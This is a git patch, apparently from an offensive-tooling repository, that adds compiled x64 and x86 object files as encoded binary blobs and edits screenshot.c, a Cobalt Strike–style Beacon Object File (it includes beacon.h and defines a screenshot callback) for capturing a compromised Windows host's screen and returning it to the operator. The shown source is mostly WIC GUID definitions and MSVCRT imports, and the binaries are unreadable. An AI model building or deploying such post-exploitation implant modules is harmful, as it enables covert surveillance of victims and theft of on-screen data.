From 73c6596bf255a789578e98825ef04e53baa57ca2 Mon Sep 17 00:00:00 2001 From: qwqdanchun <287182701@qq.com> Date: Tue, 21 Feb 2023 03:21:28 +0800 Subject: [PATCH] fix x86 --- bin/screenshot.x64.o | Bin 0 -> 5031 bytes bin/screenshot.x86.o | Bin 0 -> 4340 bytes screenshot.c | 14 ++++++++++++-- 3 files changed, 12 insertions(+), 2 deletions(-) create mode 100644 bin/screenshot.x64.o create mode 100644 bin/screenshot.x86.o diff --git a/bin/screenshot.x64.o b/bin/screenshot.x64.o new file mode 100644 index 0000000000000000000000000000000000000000..2dffd17a74d80c2e98b0a6428b73300a48b894d2 GIT binary patch literal 5031 zcma)Ae{56N6~2xgNHeyi5^Dl$%NxC{X~#S#fr-*FIk7{Yi$lCPK-6`O9s4DD;Mi~W z3j`JZVOX8k3-%)a{>*up%Xe4UiB*)wJ@*rlG0Q`U6$1&|3bQ_nmv+ zv){ARX;+EwcfWJ)Ip>~x?tOkvzqppY^yho2pMH_CE+(5lo!3(4Va*z{?*nZ0*dwcN zZe{+oHa0!MFI_KckOr{=aBU2@MR_=nh81dwT}@;+qv8oP2`+AK<^6c^*W^LOY+^ zSJ3i>=fc`yEt50Q7Y>=|O>N5f##n9~pkVrEzO~JtV>{WmA7s6Z-C{I%{3BNB2lP}v zSICW%AjHDQ~EJIJE4SfQ-+?=^5kn@yl;p?Axtfv%4=FSKAAI>-of3BZ7GQV z^Vgog`^x3@pb{#pqczs=TA&c zu5^+Y5eT3U`W$}4K>y6u>ztlXC&lW=aOp-w7emQt@2Df9`T-R$0zU7(0q;Mzt<^u`H{o=dP%iZ@5};{{i*H-4WC`osk)+va9o4p?XJC z7w0)AS?PZF^3ua#?!88OlR^l^A^|ia4I3nEFhT&5m>?F#b!Q*1d42&bIrv!gLI^)< z>64`vF!# zwt@=VXE0XboBC?BuM#`=Ca0cFH@<%x7izdP&uMn)G$*sQlaNn!ZWc*}`gy3+cFd3x z*^rizoS?#PP?C0lq&`5s3d?7xM^SWGUZ_68m`$$wx|h4(cAI)(8E$&vCW@Rg4`UY< zGJr!lWBHor%V0Y24~sr%V6j)^s7a2lVRQkIjYD*U28uPfi5>~Pg^n8FUnC-Uy9)nS zg?Fm(T?@ASVV;vEtb+Wvym76xGPk_xXLJADf*rphpeNtUSZBx#bsI1l= zkq!8A7B5*>vFsu|Qj?Rr)DlfDp{C`7g&sai&l0{k&~{myALWzfQ|CZQBi5;r7B*BZ z40D5aZn7LRNKwkSkQ}^~0TpFO>nBB{e5&X$ngF)KddxN&U5xSs1+pj~aMFCRYJL-G zCWLv4nF1C;B+9XNJKB+|;fHN?VRM*|P#n;WRV_Y5D&WOtMfr$jNUlZ%MnXD89oQ%= zN8U9;Q>mKSp)StzAT+F9ux^P~#B%Sf?Lu8VEp-qD90jV=#k$Cm*oD))hnnz&C{ZJ##8@j7v#gr|Ug?stzcyeg*5(H22wxyqFhoa~t|UNImb|uT*);VcRWluB z+Dj^VTr;zLgqf{15w#MZuy{u}f;TLl%0m`J4E&qCNCr)8ge+GfmE~C`g;`wX(vhfK zEFC2W$CXRNeaBGAoq<97oS~XdT%m`@=<}Du;Hk2FYy+M+^j+A;ehJhh(64|V73d-m zzEDH@SD3CQua1<^nxiK?i}h2+q^yVQoKR%+u^+&7Q9_uhEczfNe%b z?Dh=2+pPn@3!m~v_li7k72G;}J|PgrClT#OKybknzLop+^!P_N@oXd;!Er5V`U8Pe zj1?v0d_%+TGOvf;(cI1Xc1HJw*Hd&WVB~x=qh)wKk6SvI4j$hwA&>VzwS8Nln?^#1 zS1vw~m>rV@}jDXX}_tbvZ zvOs&WhJop#;*vVVIN#Li2zfnp9;kh<#?U6D025;RjFypn*S0ak= Y_K2QM^VLM+H>Xu4)+C%HE|q}(3nid^0RR91 literal 0 HcmV?d00001 diff --git a/bin/screenshot.x86.o b/bin/screenshot.x86.o new file mode 100644 index 0000000000000000000000000000000000000000..98f14560260a43553deab2efc47c11d34900fa5a GIT binary patch literal 4340 zcma)9e{3699e=i)#4XwCP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lN%#XPaK!4TNsG`28+!vQ!-H+ANekeDr8C655CTf24Q#B|@LvayY zB!VfE=Z$L6Q=@NMw;`{4v;H#~_@d@TIUNmWs%Bb=flM-$jwa #include #include @@ -6,15 +9,22 @@ #include #include "beacon.h" -#define CINTERFACE -#define COBJMACROS #define CALLBACK_SCREENSHOT 0x03 #define SUCCEEDED(hr) (((HRESULT)(hr)) >= 0) + +#ifdef _WIN64 CONST GUID GUID_ContainerFormatJpeg= { 0x19e4a5aa, 0x5662, 0x4fc5, 0xa0, 0xc0, 0x17, 0x58, 0x02, 0x8e, 0x10, 0x57}; CONST GUID GUID_WICPixelFormat24bppBGR= { 0x6fddc324, 0x4e03, 0x4bfe, 0xb1, 0x85, 0x3d, 0x77, 0x76, 0x8d, 0xc9, 0x0c}; CONST GUID CLSID_WICImagingFactory2= { 0x317d06e8, 0x5f24, 0x433d, 0xbd, 0xf7, 0x79, 0xce, 0x68, 0xd8, 0xab, 0xc2}; CONST GUID IID_IWICImagingFactory = {0xec5ec8a9,0xc395,0x4314,0x9c,0x77,0x54,0xd7,0xa9,0x35,0xff,0x70}; +#else +CONST GUID GUID_ContainerFormatJpeg= { 0x19e4a5aa, 0x5662, 0x4fc5, 0xa0, 0xc0, 0x17, 0x58, 0x02, 0x8e, 0x10, 0x57}; +CONST GUID GUID_WICPixelFormat24bppBGR= { 0x6fddc324, 0x4e03, 0x4bfe, 0xb1, 0x85, 0x3d, 0x77, 0x76, 0x8d, 0xc9, 0x0c}; +CONST GUID CLSID_WICImagingFactory2= { 0x317d06e8, 0x5f24, 0x433d, 0xbd, 0xf7, 0x79, 0xce, 0x68, 0xd8, 0xab, 0xc2}; +CONST GUID IID_IWICImagingFactory = {0xec5ec8a9,0xc395,0x4314,0x9c,0x77,0x54,0xd7,0xa9,0x35,0xff,0x70}; +CONST GUID CLSID_WICImagingFactory = {0xcacaf262, 0x9370, 0x4615, 0xa1, 0x3b, 0x9f, 0x55, 0x39, 0xda, 0x4c, 0x0a}; +#endif DECLSPEC_IMPORT void *__cdecl MSVCRT$malloc(size_t size); WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);